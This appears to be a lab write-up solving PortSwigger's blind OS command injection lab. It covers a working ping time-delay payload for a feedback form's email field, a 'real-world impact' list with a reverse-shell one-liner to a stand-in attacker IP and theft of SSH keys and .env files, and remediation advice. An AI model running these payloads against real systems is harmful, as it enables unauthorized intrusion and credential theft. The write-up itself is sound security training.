PlatformPortSwigger Web Security Academy
TopicOS command injection
LabBlind OS command injection with time delays
DifficultyPractitioner
GoalCause a 10-second delay to prove command execution
ToolsBurp Suite (Proxy + Repeater)

What makes this one “blind”?#

In the simple case the command’s output came straight back in the response. Here it doesn’t: the application runs a shell command with your input but never returns the result. That means we can’t just read the output of whoami, so we need an inference technique to confirm the injection actually ran.

The classic one is a time delay. If we inject a command that makes the server pause for a known number of seconds and the response is delayed by exactly that long, the command ran.

Finding the injection point#

The vulnerable feature is the feedback form. From the shop, follow the Submit feedback link:

The shop's Submit feedback link leads to the vulnerable form.
The shop’s Submit feedback link leads to the vulnerable form.

Fill it in with harmless values and submit it once to see the normal behavior:

Submitting the feedback form with test values (name, email, subject, message).
Submitting the feedback form with test values (name, email, subject, message).
The only response is "Thank you for submitting feedback!". No command output is reflected, which is what makes this blind.
The only response is “Thank you for submitting feedback!”. No command output is reflected, which is what makes this blind.

With Burp intercepting, the submission is a POST /feedback/submit carrying the four fields plus a CSRF token. The response is an empty JSON body, so there’s nowhere for command output to appear:

POST /feedback/submit with name, email, subject, and message. The response is an empty {} with no output.
POST /feedback/submit with name, email, subject, and message. The response is an empty {} with no output.

Send that request to Repeater so we can tamper with it repeatedly:

Right-click the request and Send to Repeater.
Right-click the request and Send to Repeater.

One important setup step: enable “URL-encode as you type” in the Repeater request panel. Our payload uses characters like | and spaces that must be URL-encoded in the body, and this option handles it automatically:

Enable "URL-encode as you type" so payload characters are encoded correctly.
Enable “URL-encode as you type” so payload characters are encoded correctly.

Exploitation: forcing a delay#

Which field feeds the shell command isn’t visible from the outside, so the method is to drop the delay payload into each field in turn and watch the response time. Here the email parameter is the one that produced the delay. The || (shell OR) operator runs the command on its right only when the command on its left fails, so wrapping our payload in a || pair makes it run whatever the surrounding command does, while keeping the command syntax valid on either side. Inject a ping that sends 10 packets to localhost:

email=test@test.com||ping -c 10 127.0.0.1||

If the server builds a command using the email value, the payload turns it into something like the following (we can’t see it, which is the whole point of a blind injection):

<mail-command> ... test@test.com || ping -c 10 127.0.0.1 || ...

ping -c 10 127.0.0.1 sends 10 packets at one per second, so it runs for about 10 seconds. Pinging 127.0.0.1 (localhost) matters: the loopback address is always reachable and instant, so the delay comes purely from ping’s one-second pacing, not from network latency or a host that might be firewalled or offline, and it needs no outbound traffic at all. I reached for ping rather than sleep because ping is almost always installed; sleep 10 is a cleaner delay where it is available. Send the request and watch the response time: instead of returning instantly, it now hangs for roughly 10 seconds before the empty {} comes back.

With email=test@test.com||ping -c 10 127.0.0.1||, the response is delayed ~10 seconds, confirming blind command execution and solving the lab.
With email=test@test.com ||ping -c 10 127.0.0.1||, the response is delayed ~10 seconds, confirming blind command execution and solving the lab.

That delay is the proof. The output was never shown, but the server clearly executed our command. The lab is solved.

Real-world impact#

Being blind doesn’t cap the damage. A time delay only proves the server runs your input, but it still executes arbitrary commands, you just can’t see the output inline. In a real, authorized engagement you’d escalate the same way, leaning on out-of-band channels (a separate path back to you, such as a DNS lookup or an HTTP request to a server you control, used to carry data or confirmation when the app’s own response won’t show it):

  • Interactive access — pipe a reverse shell back to your own box (a bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1 or nc one-liner); a shell sidesteps the blindness entirely.
  • Credential & key theft — read sensitive files (/etc/passwd, .env, SSH private keys like ~/.ssh/id_rsa) and exfiltrate them out-of-band, e.g. over DNS or an HTTP request to your server.
  • Lateral movement — reuse harvested SSH keys or passwords to log into the host or pivot to other machines on the network.
  • Persistence & exfiltration — append your key to ~/.ssh/authorized_keys, add a cron job, or stage data for exfiltration.

It’s the same command execution you confirmed with a delay, just pointed at a real objective, which is why these bugs rate critical. Only ever against systems you are authorized to test.

Remediation#

  • Don’t call the OS shell with user input. Use safe, purpose-built APIs instead of building command strings.
  • If a shell command is unavoidable, pass arguments as an array/argv so metacharacters like | are never interpreted.
  • Validate input against a strict allow-list (for an email field, validate the format and reject anything else) rather than blacklisting characters.

A concrete, generic example of the safe form, passing arguments as a list so no shell parses them:

# Unsafe: the email is concatenated into a shell string
os.system("mail -s subject " + email)

# Safe: arguments passed as a list, with no shell involved
subprocess.run(["mail", "-s", "subject", email], shell=False)

With shell=False and an argument list, ||ping -c 10 127.0.0.1|| in the email is treated as one (invalid) address, never as shell operators.

Key takeaways#

  • When output isn’t reflected, switch to inference: time delays, out-of-band interactions, or writing output somewhere you can read later.
  • ping -c N 127.0.0.1 (or sleep N where available) is a clean, ~N-second probe for blind command injection.
  • Test every field of a form, and turn on URL-encode as you type in Repeater so |, spaces, and & don’t corrupt the request body.